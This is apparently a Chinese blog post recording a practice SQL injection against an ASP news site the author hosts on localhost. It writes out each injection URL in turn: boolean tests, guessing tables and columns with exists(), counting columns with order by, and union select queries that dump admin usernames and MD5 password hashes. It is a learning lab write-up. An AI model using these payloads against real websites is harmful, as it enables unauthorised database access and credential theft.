web渗透(asp数字型注入模拟实战)

昨晚花了一整晚的时间找一套没有防注入的网站源码,太难找了,今天六点多就起床,终于找到了。(原谅我笨)

打开虚拟机→打开asp小旋风→将网站程序放到asp小旋风下的wwwroot目录,打开网址http://127.0.0.1/,OK,能运行。

梳理一下注入的流程:查注入点→判断是否能注入→猜表段→猜字段→爆管理员账户密码

OK,往下走。


打开本地搭的站点→随便点看看哪里能注入

只要asp?id=××这种类型的都可以试试,id是一个变量,带动数据库查询。


找到注入点:
http://127.0.0.1/NewsInfo.asp?id=65

判断是否能注入,这里是数字型,其他类型以后再说:

http://127.0.0.1/NewsInfo.asp?id=65 and 1 = 1 //返回正常页面

web渗透(asp数字型注入模拟实战)_第1张图片

http://127.0.0.1/NewsInfo.asp?id=65 and 1 = 2 //返回非正常页面

web渗透(asp数字型注入模拟实战)_第2张图片


说明能注入,猜表段:

http://127.0.0.1/NewsInfo.asp?id=65 and exists (select * from [admin])

web渗透(asp数字型注入模拟实战)_第3张图片

木有这张表,所以返回非正常页面,再试试

http://127.0.0.1/NewsInfo.asp?id=65 and exists (select * from [user])

web渗透(asp数字型注入模拟实战)_第4张图片


存在这张表,咱先猜字段


接下来我就不一一截图拉,跟上面一样,后面的语句带动数据库查询,如果条件为真就返回正常页面,如果条件为假就返回非正常页面。

http://127.0.0.1/NewsInfo.asp?id=65 and exists (select [username] from [user])
返回正常页面,说明存在这个字段,这可能是用户名,看看密码字段是不是password。
http://127.0.0.1/NewsInfo.asp?id=65 and exists (select [password] from [user])
返回正常页面,没错,密码字段是password,接下来查共有多少张表

http://127.0.0.1/NewsInfo.asp?id=65 order by 10 //返回非正常页面
折半查找速度比较快。

http://127.0.0.1/NewsInfo.asp?id=65 order by 5 //返回正常页面


不能立刻判断有5张表,为了保险再试试6。
http://127.0.0.1/NewsInfo.asp?id=65 order by 6 //返回非正常页面
现在能确定有5张表了

接下来爆管理员帐号和密码,因为确定有5张,我们从这五张表中爆。
http://127.0.0.1/NewsInfo.asp?id=65 union select 1,2,3,4,5 from user

先试一下看看页面有什么变化,返回非正常页面,看到了2、5、5这几个关键数字

web渗透(asp数字型注入模拟实战)_第5张图片


将username和password代替2和5这两张表的位置。
http://127.0.0.1/NewsInfo.asp?id=65 union select 1,username,3,4,password from user

爆出来了,帐号:fdgdfg 密码:965eb72c92a549dd
密码经过md5加密,到网上找一下md5在线解密的网站,或者找一些能md5解密的工具。
密码出来了,是111111

找后台,试试行不行,卧槽,管理员帐号或密码错误,神马情况。
整理一下思绪,难道user这张表不是管理员的?工欲善其事必先利其器,通灵术召唤啊D注入工具。(其他的注入工具也可以)

将注入点放入啊D检测,检测表段:
vote
user

Manage_User

web渗透(asp数字型注入模拟实战)_第6张图片

啊D检测出三张表,既然user不是管理员的,那试试Manage_User,检测字段:
username
password
id

检测内容···· 等了一会儿,啊D没反应了!真渣,继续手工。


既然已经知道有Manage_User也知道字段了,咱直接爆。
http://127.0.0.1/NewsInfo.asp?id=65 union select 1,username,3,4,password from Manage_User
帐号:admin 密码:19<5njj
这下子应该没错了吧,到后台再登录试试,卧槽,还错!

不对啊,vote表里面只有一个字段id,user表里面两个帐号都试了还是进不去,这神马情况。

真正的管理员表隐藏得很深?或者说刚刚Manage_User表中的密码没错,只是经过了另一种转换加密?


查一下网站源码的说明文档,我下载的是整站,因为是在源码网下载的,所以密码被修改成该网站域名了。

检测出来的应该是之前的密码,不知道什么原因后来的密码没有更新到数据库里。进入后台用该域名登入,修改成之前的密码,然后再猜一下字段。


我明明将密码修改成:19<5njj,怎么重新注入密码又变成这样,用MD5加密不可能是这样,难道真是用了其他的什么转换加密?

如果要查看是用什么转换加密,对于我这种没学过任何脚本语言的人来说,去翻代码读脚本代码是不可能的,这属于代码审计的内容了吧。估计要到下半年才开始刷脚本,上半年还是将重心压在软件安全上。asp数字型注入大概就是这个流程了,今天也只是了解一下流程,热热手。手工效率低就用工具,工具不够灵活就用手工。


今天是第一次模拟实战,感觉萌哒哒。现在这种普通的注入基本上没有了,大多数网站都加了防注入的代码,道高一尺魔高一丈,攻与防的博弈永不会停止,注入的手段也变得越来越高明。时代在进步,如果不奔跑的追赶,很快就被时代抛弃了。在前几年还流行的许多技术到了今年大部分都被淘汰了,发展真是太迅速了。


接下来有时间的话还会继续进行模拟实战,当然不能局限于web攻防啦,还有系统攻防。

你可能感兴趣的:(网络安全)